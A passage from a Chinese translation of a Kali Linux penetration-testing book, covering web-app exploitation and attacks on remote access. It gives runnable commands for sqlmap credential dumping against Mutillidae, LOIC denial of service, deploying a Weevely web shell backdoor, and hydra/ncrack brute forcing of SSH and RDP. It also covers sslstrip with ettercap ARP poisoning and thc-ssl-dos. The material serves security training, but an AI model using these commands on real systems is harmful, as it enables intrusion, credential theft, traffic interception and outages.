代理的真正优势在于其拦截和修改命令的能力。对于这个特定的例子,我们将使用 Mutillidae 网站——这是作为 Metasploitable 测试框架的一部分安装的一个“破损”网站,用于执行绕过 SQL 注入认证的攻击。

要发动这种攻击,请确保 Burp 代理已配置为拦截通信,方法是转到代理选项卡,然后选择拦截子选项卡。单击拦截已打开按钮,如下一张屏幕截图所示。完成后,打开浏览器窗口,并输入<IP 地址>/mutillidae/index.php?page=login.php以访问 Mutillidae 登录页面。在名称和密码字段中输入变量,然后单击登录按钮。

如果返回到 Burp 代理,您会看到用户在网页表单中输入的信息已被拦截。

使用客户端代理测试安全性

单击操作按钮,然后选择发送到入侵者选项。打开主入侵者选项卡,您将看到四个子选项卡——目标位置有效载荷选项,如下一张屏幕截图所示。如果选择位置,您将看到从拦截信息中识别出的五个有效载荷位置。

使用客户端代理测试安全性

这种攻击将使用 Burp 代理的狙击手模式,它从测试人员提供的列表中获取单个输入,并将此输入逐个发送到单个有效载荷位置。在本例中,我们将针对用户名字段进行攻击,我们怀疑该字段基于返回的错误消息是易受攻击的。

为了定义有效载荷位置,我们选择子选项卡有效载荷

使用客户端代理测试安全性

要发动攻击,请从顶部菜单中选择入侵者,然后选择开始攻击。代理将迭代字典攻击所选有效载荷位置,作为合法的 HTTP 请求,并返回服务器的状态代码。如下一张屏幕截图所示,大多数选项产生200状态代码(请求成功);但是,一些数据返回302状态代码(找到请求;表示所请求的资源目前位于不同的 URI 下)。

使用客户端代理测试安全性

302状态表示成功的攻击,并且获取的数据可以用于成功登录到目标站点。

不幸的是,这只是对 Burp 代理及其功能的简要概述。Kali 附带的免费版本对许多测试任务已经足够;但是,严肃的测试人员(和攻击者)应考虑购买商业版本。

服务器漏洞利用

由于它们拥有广泛的“攻击面”(通信渠道、客户端软件、服务器操作系统、应用程序、中间件和后端数据库),Web 服务容易受到多种攻击类型的攻击。可能的攻击范围需要一本专门的书来描述;因此,我们只会展示一些类型,以突出 Kali 的功能。

在本示例中,我们将演示 Kali 如何用于对网络服务器发动拒绝服务(DoS)攻击。

一般来说,攻击提供 Web 服务的主机操作系统遵循先前描述的方法;但是,它们的架构特别容易受到 DoS 攻击。

Kali 包括几个被描述为压力测试应用程序的工具,因为它们模拟对服务器的高活动负载,以评估其对额外压力的应对能力。如果服务器或其应用程序失败,则它已遭受 DoS 攻击。

许多工具依赖于 IPv4 系统无法处理更新的 IPv6 协议(denail6、dos-new-ip6、flood_advertise6 等)。

然而,最成功的 DoS 攻击工具——低轨道离子炮LOIC)——必须通过以下步骤手动添加到 Kali 中:

  1. 使用apt-get install命令,安装以下软件包及其依赖项:mono-gmcsmono-mcsmonodevelopliblog4net-cil-dev

  2. 从 GitHub(github.com/NewEraCracker/LOIC/downloads)下载 LOIC 到一个单独的文件夹中。使用解压命令将压缩文件解压到文件夹中。

  3. 转到文件夹并使用以下命令编译应用程序:

mdtool build

  1. 应用程序的编译版本将位于/<path> bin/Debug/LOIC.exe目录中。

输入攻击参数后,LOIC 可以针对目标网站启动。攻击使用直观的 GUI 界面启动,如下截图所示:

服务器利用

特定应用程序的攻击

特定应用程序的攻击数量超过了针对特定操作系统的攻击;考虑到可能影响每个在线应用程序的错误配置、漏洞和逻辑错误,令人惊讶的是任何应用程序都可以被认为是“安全”的。我们将重点介绍一些针对 Web 服务的重要攻击。

暴力破解访问凭证

针对网站或其服务的最常见的初始攻击之一是针对访问认证的暴力破解攻击——猜测用户名和密码。这种攻击成功率很高,因为用户倾向于选择易记的凭据或重复使用凭据,而且系统管理员经常不控制多次访问尝试。

Kali 自带 hydra,一个命令行工具,以及带有 GUI 界面的 hydra-gtk。这两个工具允许测试人员针对指定的服务暴力破解或迭代可能的用户名和密码。支持多种通信协议,包括 FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC 等。以下截图显示了 hydra 使用暴力破解攻击来确定 HTTP 页面上的访问凭证:

暴力破解访问凭证

对数据库的注入攻击

网站中最常见且可利用的漏洞是注入漏洞,当受害网站不监控用户输入时,攻击者可以与后端系统进行交互。攻击者可以构造输入数据来修改或窃取数据库中的内容,将可执行文件放置到服务器上,或向操作系统发出命令。

评估 SQL 注入漏洞最有用的工具之一是sqlmap,这是一个 Python 工具,可以自动进行对 Firebird、Microsoft SQL、MySQL、Oracle、PostgreSQL、Sybase 和 SAP MaxDB 数据库的侦察和利用。

我们将演示对 Mutillidae 数据库的 SQL 注入攻击。第一步是确定 Web 服务器、后端数据库管理系统和可用的数据库。

启动一个 Metasploitable 虚拟机,并访问 Mutillidae 网站。完成后,查看网页,以确定接受用户输入的页面(例如,接受远程用户的用户名和密码的用户登录表单);这些页面可能容易受到 SQL 注入攻击。然后,打开 Kali,并从命令提示符输入以下内容(使用适当的目标 IP 地址):

root@kali:~# sqlmap -u 
  'http://192.168.75.129/mutillidae/index.php?page=user-
  info.php&username=admin&password=&user-info-php-submit-
  button=View+Account+Details' --dbs 

Sqlmap 将返回数据,如下截图所示:

对数据库的注入攻击

最有可能存储应用程序数据的数据库是owasp10数据库;因此,我们将使用以下命令检查该数据库的所有表:

root@kali:~# sqlmap -u 
  'http://192.168.75.129/mutillidae/index.php?page=user-
  info.php&username=admin&password=&user-info-php-submit-
  button=View+Account+Details' –D owasp10 --tables 

执行该命令后返回的数据显示在以下截图中:

对数据库的注入攻击

在枚举的六个表中,有一个名为accounts。我们将尝试从表的这一部分中转储数据。如果成功,帐户凭据将允许我们在进一步的 SQL 注入攻击失败时返回到数据库。要转储凭据,请使用以下命令:

root@kali:~# sqlmap -u 
  'http://192.168.75.129/mutillidae/index.php?page=user-
  info.php&username=admin&password=&user-info-php-submit-
  button=View+Account+Details' –D owasp10 – T accounts --dump 

对数据库的注入攻击

类似的攻击也可以用于数据库,以提取信用卡号码。

使用 Web 后门维持访问

一旦 Web 服务器及其服务被攻破,就很重要确保可以保持安全访问。通常使用 Web shell 来实现这一点——这是一个提供隐蔽后门访问并允许使用系统命令来促进后期利用活动的小型程序。

Kali 自带了几个 Web shell;在这里我们将使用一个名为Weevely的流行 PHP Web shell。

Weevely 模拟 Telnet 会话,并允许测试者或攻击者利用 30 多个模块进行后期利用任务,包括以下内容:

  • 浏览目标文件系统

  • 与受攻击系统之间的文件传输

  • 执行常见服务器配置错误的审计

  • 通过目标系统对 SQL 账户进行暴力破解

  • 生成反向 TCP shell

  • 在已经受到攻击的远程系统上执行命令,即使已经应用了 PHP 安全限制

最后,Weevely 努力隐藏 HTTP cookie 中的通信,以避免被检测。要创建 Weevely,请从命令提示符中发出以下命令:

root@kali:~# weevely generate <password> <path>

这将在根目录中创建文件weevely.php。在已经受到攻击的远程系统上执行命令,即使已经应用了 PHP 安全限制:

使用 Web 后门维持访问

使用文件上传漏洞或任何其他受损,包括可以访问 meterpreter 文件上传功能的漏洞,将weevely.php上传到受攻击的网站。

要与 Web shell 通信,请从命令提示符中发出以下命令,确保目标 IP 地址、目录和密码变量已更改以反映受攻击系统的情况:

root@kali:~# weevely http://<target IP address> <directory> 
  <password> 

在下面的屏幕截图示例中,我们已经验证了使用whoami命令(用于识别正确的目录)和ls命令(用于获取文件列表,再次确认连接源为weevely.php)。使用cat /etc/password命令查看密码。

使用 Web 后门维持访问

Web shell 还可以用于建立反向 shell 连接到测试者,使用 Netcat 或 Metasploit Framework 作为本地监听器。

总结

在本章中,我们从攻击者的角度审查了网站及其为授权用户提供的服务。我们应用了杀伤链视角来理解对 Web 服务的正确应用侦察和漏洞扫描。

介绍了几种不同的漏洞扫描器;我们重点是对现有扫描器进行修改以支持网站和 Web 服务的评估,使用基于浏览器的漏洞扫描器,以及专门设计用于评估网站及其服务的漏洞扫描器。我们只审查了少数几个利用,最后通过对专门用于 Web 服务的 Web shell 进行了审查。

在下一章中,我们将学习如何识别和攻击将用户连接到 Web 服务的远程访问通信。

第十章:利用远程访问通信

在第九章中,基于 Web 的应用程序的侦察和利用,我们对基于 Web 的应用程序应用了杀伤链方法。我们审查了侦察、漏洞扫描和利用方法,这些方法特别适用于网站和其他应用程序。我们还审查了评估基于 Web 的应用程序所需的独特工具,特别是客户端代理和后期利用工具,如 Web shell。

在本章中,我们将重点放在破坏互联网上已经广泛传播的设备和应用程序的远程访问通信上。

攻击者正在利用远程访问通信的普遍性来实现以下目标:

  • 利用现有的通信渠道直接远程访问目标系统

  • 拦截通信

  • 拒绝经过身份验证的用户访问常规通信,并强迫他们使用可能容易受到其他攻击的不安全通道

由于大多数用户认为他们正在使用“安全”的通信工具(甚至银行依赖 SSL 协议来保护在线银行业务),这些攻击可能对被攻击的通信以及受害者对其他在线通信的信任产生重大影响。

本章将重点放在侦察和利用杀伤链的阶段,因为它们与远程访问通信有关。它不涵盖诸如战争拨号、VoIP 和相关电话问题、高度专有的系统(如专门的亭台)以及值得拥有自己的书籍的复杂应用程序。

在本章结束时,您将学到以下内容:

  • 利用操作系统通信协议(RDP 和 SSH)

  • 利用远程访问应用程序(VNC)

  • 配置 Kali 进行安全套接层 v2 扫描

  • 对安全套接层进行侦察和利用,包括中间人和拒绝服务攻击。

  • 攻击虚拟专用网络

利用操作系统通信协议

一些协议以明文传输访问凭据(Telnet 和 FTP)。使用诸如 Wireshark 之类的数据包嗅探器将允许攻击者拦截和重用凭据。

然而,大多数远程访问协议,尤其是嵌入在操作系统中的协议,现在都受到访问控制和加密的保护。尽管这增加了一定程度的安全性,但它们仍然容易受到由于配置错误或使用较差的加密密钥而导致的攻击。在本节中,我们将研究其他可能被利用来破坏所谓安全通信渠道的风险。

破坏远程桌面协议

远程桌面协议RDP)是微软的专有通信协议,允许客户端使用图形界面连接到另一台计算机。尽管该协议是加密的,但如果攻击者猜到用户名和密码,就可以访问服务器。

注意

应该注意到,最常见的破坏 RDP 的方法是利用社交工程。用户被远程服务技术人员联系,说服用户需要远程访问以修复用户系统上的问题。针对 RDP 协议的恶意软件攻击也越来越普遍。

从测试人员(或攻击者)的角度来看,破坏目标的 RDP 服务的第一步是找到 RDP 服务器并确定所使用的加密强度。通常使用nmap等工具进行侦察,配置为扫描标准 RDP 端口 3389。

nmap工具现在包括专门的脚本,提供有关 RDP 的其他详细信息,包括加密配置。如果时间允许,且隐蔽性不是问题,应在初始扫描阶段使用这些脚本。调用枚举支持的加密协议的脚本的命令行如下:

root@kali:~# nmap – p 3389 –-script rdp-enum-encryption <IP>

上一个命令的执行结果如下截图所示:

破坏远程桌面协议

已经发现了一些 RDP 漏洞(尤其是 MS12-020),可以利用精心制作的数据包远程利用这些漏洞。

要确定当前版本的 RDP 是否存在漏洞,请使用适当的nmap脚本,通过调用以下命令行来执行:

root@kali:~# nmap –sV -p 3389 --script rdp-vuln-ms12-020 
  < IP> 

上一个命令的执行结果如下截图所示:

Compromising Remote Desktop Protocol

一旦使用nmap识别出一个易受攻击的系统,就可以利用 Metasploit Framework 的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块来造成拒绝服务。

RDP 最常见的破解方法是使用基于最常见用户名和密码字典的暴力攻击(也可以使用诸如CeWLcrunch之类的工具构建特定目标的字典,使用这些字典的暴力攻击比使用通用字典的尝试更快,并且更隐蔽,因为它们生成的网络流量更少)。

Kali 提供了几个工具来暴力破解访问,包括hydramedusancrackpatator。通过测试,我们发现ncrack在速度和效果方面是最可靠的。

提示

常见用户名和密码列表可以从多个来源获取。大多数破解工具,特别是hydrancrackjohn(John the Ripper),都在应用程序的主目录中包含列表。测试人员还可以从在线来源下载各种类型的列表。从受损用户帐户派生的列表特别有用,因为它们反映了认证信息的真实世界使用情况。无论您使用哪个列表,您可能希望通过添加当前和以前员工的姓名(用于用户名)或使用诸如 CeWL 之类的工具创建的单词列表来个性化测试。

ncrack工具是一个高速身份验证破解工具,支持 FTP、HTTP(S)、POP3、RDP、SMB、SSH、Telnet 和 VNC 协议。可以使用以下命令从终端窗口调用它:

root@kali:~# ncrack -vv -U user.lst -P password.list
  <Taget IP>:<Target Port> 

上述命令的执行如下截图所示:

Compromising Remote Desktop Protocol

ncrack工具在大约 1700 秒内发现了所有用户的访问凭据。但所需的时间取决于使用的字典的总体大小以及在成功命中之前必须进行多少次猜测。

破解安全外壳

安全外壳SSH)协议是一种网络协议,用于在服务器和客户端之间的开放网络上建立加密通道。一般来说,公钥-私钥对允许用户登录系统而无需密码。公钥存在于所有需要安全连接的系统上,而用户保留私钥。认证是基于私钥的;SSH 会验证私钥与公钥。在目标系统上,公钥会与允许远程访问系统的授权密钥列表进行验证。当公钥不具有密码学强度并且可以被猜测时,这种被认为是安全的通信渠道会失败。

与 RDP 一样,SSH 容易受到猜测用户访问凭据的暴力攻击。在这个特定的例子中,我们将使用一个名为hydra的工具。hydra工具可能是最古老的暴力攻击工具,绝对是功能最丰富的工具。它还支持对最多目标协议的攻击。

hydra工具可以在Kali Linux | 密码攻击 | 在线攻击中找到,也可以直接从命令行调用。有两个版本的hydra:命令行版本(hydra)和 GUI 版本(hydra-gtk)。在这个例子中,我们将使用以下命令从命令行调用hydra

root@kali:~# hydra -s 22 -v -V -L <file path/name>
  -P <file path/name> -t 8 <Target IP><protocol> 

命令参数如下列表所述:

  • -s指定要使用的端口。虽然在打算使用默认端口时不需要输入它,但在这种情况下使用它可以消除歧义并加快测试速度。

  • -v-V选择报告的最大详细程度。

  • -L选择登录或用户名文件。

  • -P选择密码文件。

  • -t选择并行任务或连接的数量。数字越大,测试速度越快。但是,如果数字太大,可能会引入错误,并且会错过正确的密码。

以下屏幕截图显示了初始暴力攻击的详细输出:

妥协安全外壳

当使用字典成功登录时,hydra报告端口、协议、主机和登录凭据。然后它继续使用字典来识别其他可能的帐户。在以下截图的最顶部行中,Hydra 正确识别了一个具有DigitalDefence作为logindarkstar作为password的 SSH 帐户;截图还显示了 Hydra 尝试识别其他帐户的其他尝试。

妥协安全外壳

如果您知道密码配置,还可以使用hydra动态创建密码列表,使用以下命令:

root@kali:~# hydra –L user.lst –V –x 6:8:aA1 <IP address> SSH

上一个命令中使用的参数在以下列表中描述:

  • -x指示 Hydra 自动创建用于暴力攻击的密码。密码将根据-x后面的参数创建。

  • 6:8表示密码长度的最小值为六个字符,最大值为八个字符。

  • aA1将自动创建使用字母和数字的密码组合。它将使用所有小写字母(由a表示)和所有大写字母(由A表示),以及数字 0 到 9(由1表示)。

您还可以向生成的列表中添加特殊字符,但是需要在-x选项周围添加单引号,如下命令所示:

root@kali:~# -L user.lst –V –x '6:8:aA1 !@#$' <IP address> SSH

利用第三方远程访问应用程序

绕过系统协议以提供远程访问的应用程序曾经非常流行。尽管它们目前正在被在线服务如GoToMyPCLogMeIn所取代,但它们仍然很常见。此类程序的示例包括 pcAnywhere 和 VNC。

这些工具的实例可能存在于网络上,因为系统管理员的合法操作。然而,它们也可能存在是因为网络已经被入侵,攻击者想要一种远程访问网络的手段。

在以下示例中,我们将使用 Metasploit 框架的内置功能来妥协 VNC。

  1. 使用nmap在目标上找到远程访问软件。如下截图所示,VNC 通常在 TCP 端口5900上找到。利用第三方远程访问应用程序

  2. 使用终端窗口中的msfconsole命令激活 Metasploit 框架。从msf提示符,配置它以妥协 VNC,如下截图所示:利用第三方远程访问应用程序

  3. 启动run命令,如下截图所示,并观察成功运行:利用第三方远程访问应用程序

  4. 最后,一旦 Metasploit 确定了凭据,通过使用vncviewer登录到 VNC 客户端验证它们。从终端窗口的命令提示符中,输入以下内容:

root@kali:~# vncviewer <Target IP>

这将连接到远程主机并提示您输入适当的凭据。当认证成功时,将打开一个新窗口,让您远程访问目标系统。通过发出whoami查询验证您是否在目标系统上,如下截图所示,并请求系统的 ID 或 IP 地址:

利用第三方远程访问应用程序

攻击安全套接字层

安全套接字层SSL)及其后继者传输层安全TLS)是用于在互联网上提供安全通信的加密协议。这些协议已被广泛用于安全应用,如互联网消息传递和电子邮件、网页浏览和 IP 语音。

这些协议在互联网上无处不在,然而,它们起源于上世纪 90 年代中期,并且随着年龄的增长,它们越来越受到攻击。SSL 2.0 版本(1.0 版本从未公开发布)包含大量可以被利用的缺陷,如密钥控制不当和中间人攻击的弱点。尽管大多数用户已经实现了该协议的 3.0 版本或更新版本的 TLS,但配置错误的系统可能仍然允许使用较早的不安全版本。

配置 Kali 进行 SSLv2 扫描

在开始侦察阶段之前,请验证 Kali 是否已配置为扫描 SSL 版本 2 协议。在撰写本书时,情况并非如此。

从终端窗口输入以下命令:

root@kali:~# openssl_s_client -connect 
  www.opensecurityresearch.com:443 -ssl2 

如果返回unknown option -ssl2错误(如下面的屏幕截图所示),则需要进行额外的配置。

配置 Kali 进行 SSLv2 扫描

要应用修复,您必须使用以下步骤重新对 OpenSSL 应用程序进行打补丁(确保使用的路径反映了下载目录的使用):

  1. 使用以下命令安装quilt,这是一个用于管理应用程序源代码的多个补丁的程序:
root@kali:~# apt-get install devscripts quilt

  1. 下载openssl源代码,验证已应用的补丁,更新配置文件,然后重新构建应用程序。使用以下命令:
root@kali:~# apt-get source openssl
root@kali:~# cd openssl-1.0.1e
root@kali:~/openssl-1.0.1e# quilt pop -a

  1. 编辑openssl-1.0.1e/debian/patches/series文件,删除文件中的以下行:
ssltest_no_sslv2.patch

  1. 编辑openssl-1.0.1e/debian/rules文件,删除no-ssl2参数。然后,重新应用openssl的补丁。使用以下命令:
root@kali:~/openssl-1.0.1e# quilt push -a
root@kali:~/openssl-1.0.1e#  dch -n 'Allow SSLv2'

  1. 完成后,重新构建openssl软件包,然后重新安装。可以使用以下命令执行此步骤:
root@kali:~/openssl-1.0.1e# dpkg-source  --commit
root@kali:~/openssl-1.0.1e# debuild -uc -us
root@kali:~/openssl-1.0.1e# cd /root
root@kali:~# dpkg -i *ssl*.deb

  1. 确认已成功应用补丁,重新发出使用 SSLv2 连接的命令,如下面的屏幕截图所示:配置 Kali 进行 SSLv2 扫描

依赖于openssl的 Kali 脚本,特别是sslscan,将需要重新编译。要重新编译,首先下载源代码,然后重新构建。完成后,使用以下命令重新安装:

root@kali:~# apt-get source sslscan
root@kali:~# cd sslscan-1.8.2
root@kali:~/sslscan-1.8.2# debuild -uc -us
root@kali:~/sslscan-1.8.2# cd /root
rootl@kali:~# dpkg -i *sslscan*.deb

Kali 对 SSLv2 的问题可能在将来的版本中得到解决,因此,在测试 SSL 连接之前,请先验证这一点。

SSL 连接的侦察

在评估 SSL 连接时,侦察阶段仍然很重要,特别是在审查以下项目时:

  • 用于识别建立安全 SSL 连接的各方的x.509证书

  • 正在使用的加密类型

  • 配置信息,例如是否允许 SSL 会话的自动重新协商

SSL 证书可以提供可能用于促进社会工程的信息。

更频繁地,测试人员或攻击者想要确定证书是否有效。无效的证书可能是由于检查签名时出现错误、证书链断裂、证书中指定的域与系统不匹配,或者证书已过期、被吊销或已知已被 compromise。

如果用户之前接受了无效证书,他们很可能会接受新的无效证书,这会使攻击者的工作变得更加容易。

用于保护 SSL 连接的加密类型尤为重要。加密密码分为以下几类:

  • 空密码: 这些密码用于验证传输的真实性和/或完整性。因为没有应用加密,它们不提供任何安全性。

  • 弱密码: 这是一个用来描述所有密钥长度为 128 位或更少的密码的术语。使用Diffie-Hellman 算法进行密钥交换的密码也可能被认为是弱的,因为它们容易受到中间人攻击的影响。由于碰撞攻击,MD5 哈希的使用也可能被认为是弱的。最近对 RC4 的攻击也对其持续使用提出了质疑。

  • 强密码: 这些是超过 128 位的密码。目前,接受的最安全选项是具有 256 位密钥的 AES 加密。如果可能的话,应该与 Galois/Counter 模式一起使用,这是一种现代的块密码,支持认证和加密。

SSL 和 TLS 依赖于密码套件(特定的身份验证、加密和消息认证码算法的组合)来为每个连接建立安全设置。有 30 多种这样的套件,为了满足每个安全需求而选择最佳选项的复杂性经常导致用户默认选择不太安全的选项。因此,每个 SSL 和 TLC 连接都必须经过彻底测试。

要对 SSL 连接进行侦察,使用nmap或 SSL 特定应用的 NSE 模块。nmap NSE 模块在下表中描述。

Nmap NSE 模块模块功能
ssl-cert检索服务器的 SSL 证书。返回的信息量取决于详细级别(无,-v-vv)。
ssl-date从其 TLS ServerHello 响应中检索目标主机的日期和时间。
ssl-enum-ciphers反复发起 SSL 和 TLS 连接,每次尝试一个新的密码,并记录主机是否接受或拒绝它。密码显示具有强度评级。这是一种高度侵入性的扫描,可能会被目标阻止。
ssl-google-cert-catalog查询谷歌的证书目录,以获取与从目标检索的 SSL 证书相关的信息。它提供了谷歌对证书的认识时间和持续时间。如果证书未被谷歌认可,可能是可疑/虚假的。
ssl-known-key检查主机使用的 SSL 证书是否具有与已知的受损或有缺陷的密钥数据库匹配的指纹。目前,它使用 LittleBlackBox 数据库。但是,可以使用任何指纹数据库。
sslv2确定服务器是否支持已过时且不太安全的 SSL 版本 2,以及支持哪些密码。

要从命令行调用单个脚本,请使用以下命令:

root@kali:~# nmap --script <script name> -p 443 <Target IP>

在以下示例中,使用-vv选项调用了ssl-cert脚本以获得最大详细信息。来自此脚本的数据显示在以下截图中:

SSL 连接的侦察

在侦察期间,测试人员可以选择使用以下命令启动所有 SLL 特定模块:

root@kali:~# nmap --script "ssl*" <IP address>

Kali 专用于 SSL 和 TLS 的侦察和攻击工具可以从命令行调用,也可以通过导航到Kali Linux | 信息收集 | SSL 分析菜单中选择。这些工具在下表中总结:

工具功能
sslcaudit自动化测试 SSL 和 TLS 客户端,以确定其抵抗中间人攻击的能力。
ssldump对 SSLv3 和 TLS 通信进行网络协议分析。如果提供了适当的加密密钥,它将解密 SSL 流量并以明文显示。
sslscan查询 SSL 服务以确定支持哪些密码。输出包括首选的 SSL 密码,并以文本和 XML 格式显示。
sslsniff在特定局域网上对所有 SSL 连接启用中间人攻击条件,动态为正在访问的域生成证书。
sslsplit对 SSL 和 TLS 网络执行中间人攻击。连接通过网络地址转换引擎透明拦截并重定向到sslsplit,终止原始连接并启动到原始目的地的新连接,同时记录所有传输的数据。它支持纯 TCP、SSL、HTTP/HTTPs 以及 IPv4 和 IPv6。
sslstrip旨在透明地劫持网络上的 HTTP 流量,监视 HTTPS 链接,并将这些链接重定向并映射为伪造的 HTTP 或 HTTPS 链接。它还支持提供一个看起来像锁图标的 favicon 以及拦截通信的选择性记录模式。
sslyze分析服务器的 SSL 配置。
tlssled统一了几个其他 SSL 特定应用程序的使用和输出,检查加密强度、证书参数和重新协商能力。

最常用的程序是sslscan,它查询 SSL 服务以确定证书详细信息和支持的密码。输出格式为文本和 XML。

在测试特定连接时,使用--no-failed选项,如下截图所示,让sslscan只显示已接受的密码套件。

SSL 连接的侦察

sslyze python 工具分析服务器的 SSL 配置并验证证书,测试弱密码套件,并识别可能支持其他攻击的配置信息。在下面的截图中,它已经识别出可能支持某些攻击类型的证书不匹配。

SSL 连接的侦察

另一个 SSL 侦察工具是tlssled,如下截图所示。它非常快速、操作简单,输出用户友好。

SSL 连接的侦察

无论您使用何种方法进行 SSL 侦察,都要确保通过运行至少两种不同的工具来交叉验证您的结果。此外,并非所有配置了 SSL 的设备都会同时在线。因此,在大型网络上,在测试过程中多次扫描 SSL 漏洞。

提示

目前正在开发中的一个新工具是 OWASP 的 O-Saft (www.owasp.org/index.php/O…),它提供了 SSL 配置、密码和证书数据的全面概述。

使用 sslstrip 进行中间人攻击

尽管 SSL 保护提供了安全性,但协议也存在一些有效的攻击。2009 年,Moxie Marlinspike 演示了sslstrip,这是一个透明地劫持网络上的 HTTP 流量,并将流量重定向为 HTTP 或 HTTPS 链接的工具。它去除了 SSL 保护,并将安全锁图标返回给受害者的浏览器,以便拦截不容易被检测到。

简而言之,sslstrip发起了对 SSL 的中间人攻击,允许先前受保护的数据被拦截。

要使用sslstrip,必须首先使用以下命令将拦截系统配置为转发模式:

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

接下来,使用以下命令设置iptables防火墙,将 HTTP 流量重定向到sslstrip

root@kali:~# iptables –t nat –A PREROUTING –p tcp
  –destination-port 80 –j REDIRECT –to-port <listenport> 

在这个例子中,监听端口已设置为端口 5353。

现在配置完成后,使用以下命令运行sslstrip

root@kali:~# sslstrip –l 5353

以下截图显示了先前命令的执行情况:

使用 sslstrip 进行中间人攻击

最小化执行sslstrip的活动终端窗口,并打开一个新的终端窗口。使用以下命令使用ettercap来欺骗 ARP 并将流量从网络或目标系统直接重定向到拦截系统:

root@kali:~# ettercap –TqM arp:remote /192.168.75.128/ /192.168.75.2/

在这里,ettercap -T开关选择文本界面,-q强制控制台进入安静模式,-M选项激活中间人攻击以劫持和重定向数据包。arp:remote开关实施 ARP 毒化攻击,并将攻击者置为中间人,能够查看和修改传输中的数据包。如果要查看远程 IP 地址和通过网关的通信,则需要remote部分的开关。

上面命令的执行结果如下截图所示:

使用 sslstrip 进行中间人攻击

如果目标系统要访问 SSL 安全内容,他们的查询将通过网关定向到拦截系统。

从用户的角度来看,他们将被引导到该网站,并出现该站点的安全证书存在问题的安全警报,提示他们做出决定。如果他们选择,他们将被引导到他们选择的页面。浏览器右下角的锁图标仍然表示 SSL 已启用,表明他们的通信是安全的。

在后台,sslstrip工具移除 SSL,留下原始内容,可以在ettercap日志中查看,如下截图所示:

使用 sslstrip 进行中间人攻击

这种攻击只对相同的第二层网络段有效。然而,它在有线和无线网络上都能成功。虽然 ARP 重定向可以应用于网络段,但这种攻击会影响网络带宽,可能会被检测到。因此,最有效的方法是将这种攻击直接针对单个设备。

提示

要禁用 PREROUTING 规则,将-A替换为-D。要清除防火墙规则,使用iptables -t nat -F(清除命令)和iptables -t nat -L(验证表已被清除)。

针对 SSL 的拒绝服务攻击

建立 SSL 连接时,服务器必须完成一系列计算密集型的计算来启动握手并开始加密。这需要客户端进行少量的计算工作,服务器则需要更多的计算工作。

如果客户端发起 SSL 连接但拒绝服务器的响应,则 SSL 连接将不会建立。但是,如果 SSL 服务器配置为自动重新协商连接,则计算工作量将导致拒绝服务。

Kali Linux 有几个工具可以帮助您确定是否允许自动重新协商,包括sslyzetssled

如果允许自动重新协商,则输入以下命令将允许测试人员评估对拒绝服务攻击的抵抗力:

root@kali:~# thc-ssl- dos <IP address> <port>

上面命令的执行结果如下截图所示:

针对 SSL 的拒绝服务攻击

攻击 IPSec 虚拟专用网络

虚拟专用网络VPN)使用互联网在远程位置或同一网络内的用户之间提供安全(加密)通信。有两种类型的 VPN:IPSecSSL

IPSec 是建立网络之间安全连接和在虚拟专用网络中连接主机最常用的协议。

在 IPSec 中,有几个子协议执行特定功能,例如以下内容:

  • 认证头AH):为 IP 数据包提供来源证明,保护它们免受重放攻击。

  • 封装安全协议ESP):该协议提供传输数据的来源真实性、完整性和机密性。

  • 安全关联:这是用于加密和验证传输数据的算法集。因为 SA 与单向数据传输相关联,双向通信由一对安全关联保护。安全关联使用Internet 安全关联和密钥管理协议ISAKMP)建立,可以通过多种方式实现。在测试 VPN 的安全性时,最脆弱的配置之一依赖于预共享密钥,Internet 密钥交换IKE)。

为了评估 VPN 的安全性,测试人员遵循以下基本步骤:

  1. 扫描 VPN 网关的存在。

  2. 指纹识别 VPN 网关以确定供应商和配置详细信息。

  3. 寻找与 VPN 供应商或相关产品相关的漏洞。

  4. 捕获预共享密钥。

  5. 执行离线 PSK 破解。

  6. 检查默认用户帐户。

扫描 VPN 网关

要扫描 VPN 网关的存在,使用nmapike-scan。要使用nmap,发出以下命令:

root@kali@:~# nmap -–sU -Pn –p 500 <IP Address>

在这个例子中,-sU指示nmap使用 UDP 数据包(而不是 TCP)扫描主机范围以寻找可能的目标,-Pn确保nmap不会发送 ping 扫描(这可能会警告目标有关扫描并识别测试人员),-p 500标识要扫描的特定端口。

nmap工具由于处理 IKE 数据包的方式而无法定位所有 VPN 网关;最有效的工具是向目标系统发送格式正确的 IKE 数据包并显示返回消息。

定位 VPN 网关的最佳工具是ike-scan(可以通过导航到Kali Linux | 信息收集 | VPN 分析找到)。ike-scan命令行工具使用 IKE 协议来发现和指纹私人网络。它还支持在 IKE 主动模式下破解预共享密钥。要使用ike-scan定位目标,发出以下命令:

root@kali@:~# ike-scan -M <Target IP>

以下屏幕截图显示了上一个命令的执行:

扫描 VPN 网关

-M开关将每个有效负载返回为一行,简化输出。

ike-scan工具针对目标设备测试各种转换。一个转换包含多个属性:加密算法(DES 和 3DES)、哈希算法(MD5 和 SHA1)、认证方法(预共享密钥)、Diffie-Hellman 组(选项一是 768 位,选项二是 1024 位)和生命周期(28,800 秒)。它将确定哪些转换引发了成功的响应。

完成对每个已识别设备的ike-scan后,程序将返回以下之一:

  • 0 个握手返回;0 个通知返回:这表示目标不是 IPSec 网关

  • 0 个握手返回;1 个通知返回:这表示虽然存在 VPN 网关,但ike-scan提供给它的转换都不可接受

  • 1 个握手返回;0 个通知返回:如前面的屏幕截图所示,这表示目标已配置为 IPSec,并将对ike-scan提供的一个或多个转换执行 IKE 协商

指纹识别 VPN 网关

如果您可以与 VPN 网关建立握手,您可以对设备进行指纹识别,返回以下信息:

  • 供应商和型号

  • 软件版本

这些信息用于识别特定供应商的攻击或微调通用攻击。

注意

如果 VPN 由防火墙托管,指纹识别还将识别所使用的防火墙。

由于 IKE 不能保证传输数据包的可靠性,大多数 VPN 网关供应商使用专有协议来处理看似丢失的流量。ike-scan工具向 VPN 网关发送 IKE 探测数据包,但不会回复收到的响应。服务器会假装数据包已丢失,并实施其退避策略以重新发送数据包。通过分析数据包之间的时间差和重试次数,ike-scan可以识别供应商。

在下面的截图中显示的示例中,-M选项导致每个有效负载显示在单独的一行上,使输出更易于阅读。ike-scan-showbackoff选项(如下面的截图所示)记录了发送和接收的所有数据包的响应时间,然后在显示结果之前记录了 60 秒的延迟。

对 VPN 网关进行指纹识别

在前面的截图中,供应商 IDVID)是一个特定于供应商的 MD5 哈希文本字符串,用于识别专有通信或特定通信细节。

